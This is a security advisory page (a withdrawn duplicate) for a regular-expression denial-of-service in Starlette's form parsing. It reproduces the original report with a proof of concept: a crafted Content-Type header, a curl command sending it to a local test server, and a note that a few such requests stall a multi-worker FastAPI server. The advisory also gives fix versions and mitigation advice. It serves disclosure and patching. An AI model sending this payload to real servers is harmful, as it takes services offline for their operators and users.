GHSA-93gm-qmq6-w238
Duplicate Advisory: Starlette Content-Type Header ReDoS
- Severity
- 7.5 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 1.52%
- Chance of exploitation in the next 30 days. Higher than 74.63% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-400 Uncontrolled Resource Consumption
- Fix
0.36.2- Upgrade starlette to this version or later
Description
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-2jv5-9r88-3w3p. This link is maintained to preserve external references.
Original Description
Summary
When using form data, python-multipart uses a Regular Expression to parse the HTTP Content-Type header, including options.
An attacker could send a custom-made Content-Type option that is very difficult for the RegEx to process, consuming CPU resources and stalling indefinitely (minutes or more) while holding the main event loop. This means that process can't handle any more requests.
This can create a ReDoS (Regular expression Denial of Service): https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS
This only applies when the app uses form data, parsed with python-multipart.
Details
A regular HTTP Content-Type header could look like:
Content-Type: text/html; charset=utf-8
python-multipart parses the option with this RegEx: https://github.com/andrew-d/python-multipart/blob/d3d16dae4b061c34fe9d3c9081d9800c49fc1f7a/multipart/multipart.py#L72-L74
A custom option could be made and sent to the server to break it with:
Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
PoC
Create a Starlette app that uses form data. To reproduce it it's not even necessary to create a Starlette app, just using the Request is enough:
# main.py
from starlette.requests import Request
from starlette.responses import JSONResponse
async def app(scope, receive, send):
assert scope["type"] == "http"
request = Request(scope, receive)
data = await request.form()
response_data = {}
for key in data:
print(key, data.getlist(key))
response_data[key] = data.getlist(key)
response = JSONResponse(response_data)
await response(scope, receive, send)
Then start it with:
$ uvicorn main:app
INFO: Started server process [50601]
INFO: Waiting for application startup.
INFO: ASGI 'lifespan' protocol appears unsupported.
INFO: Application startup complete.
INFO: Uvicorn running on http://127.0.0.1:8000 (Press CTRL+C to quit)
Then send the attacking request with:
$ curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8000/'
Stopping it
Because that holds the main loop consuming the CPU non-stop, it's not possible to simply kill Uvicorn with Ctrl+C as it can't handle the signal.
To stop it, first check the process ID running Uvicorn:
$ ps -fA | grep uvicorn
501 59461 24785 0 4:28PM ttys004 0:00.13 /Users/user/code/starlette/env3.10/bin/python /Users/user/code/starlette/env3.10/bin/uvicorn redos_starlette:app
501 59466 99935 0 4:28PM ttys010 0:00.00 grep uvicorn
In this case, the process ID was 59461, then you can kill it (forcefully, with -9) with:
$ kill -9 59461
Impact
It's a ReDoS, (Regular expression Denial of Service), it only applies to those reading form data, using python-multipart. This way it also affects other libraries using Starlette, like FastAPI.
Original Report
This was originally reported to FastAPI as an email to security@tiangolo.com, sent via https://huntr.com/, the original reporter is Marcello, https://github.com/byt3bl33d3r
<details> <summary>Original report to FastAPI</summary>
Hey Tiangolo!
My name's Marcello and I work on the ProtectAI/Huntr Threat Research team, a few months ago we got a report (from @nicecatch2000) of a ReDoS affecting another very popular Python web framework. After some internal research, I found that FastAPI is vulnerable to the same ReDoS under certain conditions (only when it parses Form data not JSON).
Here are the details: I'm using the latest version of FastAPI (0.109.0) and the following code:
from typing import Annotated
from fastapi.responses import HTMLResponse
from fastapi import FastAPI,Form
from pydantic import BaseModel
class Item(BaseModel):
username: str
app = FastAPI()
@app.get("/", response_class=HTMLResponse)
async def index():
return HTMLResponse("Test", status_code=200)
@app.post("/submit/")
async def submit(username: Annotated[str, Form()]):
return {"username": username}
@app.post("/submit_json/")
async def submit_json(item: Item):
return {"username": item.username}
I'm running the above with uvicorn with the following command:
uvicorn server:app
Then run the following cUrl command:
curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8000/submit/'
You'll see the server locks up, is unable to serve anymore requests and one CPU core is pegged to 100%
You can even start uvicorn with multiple workers with the --workers 4 argument and as long as you send (workers + 1) requests you'll completely DoS the FastApi server.
If you try submitting Json to the /submit_json endpoint with the malicious Content-Type header you'll see it isn't vulnerable. So this only affects FastAPI when it parses Form data.
Cheers
Impact
An attacker is able to cause a DoS on a FastApi server via a malicious Content-Type header if it parses Form data.
Occurrences
</details>
Affected versions
PyPI
| Package | Vulnerable | Fixed in |
|---|---|---|
| starlette | < 0.36.2 |
0.36.2 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
starlette PyPI → 0.36.2
- pip
pip install --upgrade "starlette>=0.36.2"- poetry
poetry add "starlette>=0.36.2"- uv
uv add "starlette>=0.36.2"
Severity breakdown
CVSS 3.1 7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Weakness
CWE-400: Uncontrolled Resource Consumption
The product does not properly control the allocation and maintenance of a limited resource.
How to prevent it
- Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
- Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, or uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
- Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
- Implementation: Ensure that all failures in resource allocation place the system into a safe posture.
References
Packages
Other links
Timeline
- Published
- Withdrawn
- Last updated by the source
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| PYSEC-2024-38 python-multipart vulnerable to Content-Type Header ReDoS | High | Linked by the source |
| GHSA-86qp-5c8j-p5mr Starlette has missing Host header validation that poisons request.url.path, bypassing path-based security checks | Medium Known exploited | Also affects starlette |
| GHSA-82w8-qh3p-5jfq Starlette: request.form() limits silently ignored for application/x-www-form-urlencoded enable DoS | High | Also affects starlette |
| GHSA-jp82-jpqv-5vv3 Starlette: Unvalidated request path concatenated into authority poisons request.url.hostname | Medium | Also affects starlette |
| GHSA-wqp7-x3pw-xc5r Starlette: SSRF and NTLM credential theft via UNC paths in StaticFiles on Windows | High | Also affects starlette |
| GHSA-x746-7m8f-x49c Starlette: Arbitrary HTTP method dispatched to `HTTPEndpoint` attributes via `getattr` | Medium | Also affects starlette |
| GHSA-7f5h-v6xp-fcq8 Starlette vulnerable to O(n^2) DoS via Range header merging in ``starlette.responses.FileResponse`` | High | Also affects starlette |
| GHSA-2c2j-9gv5-cj73 Starlette has possible denial-of-service vector when parsing large files in multipart forms | Medium | Also affects starlette |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor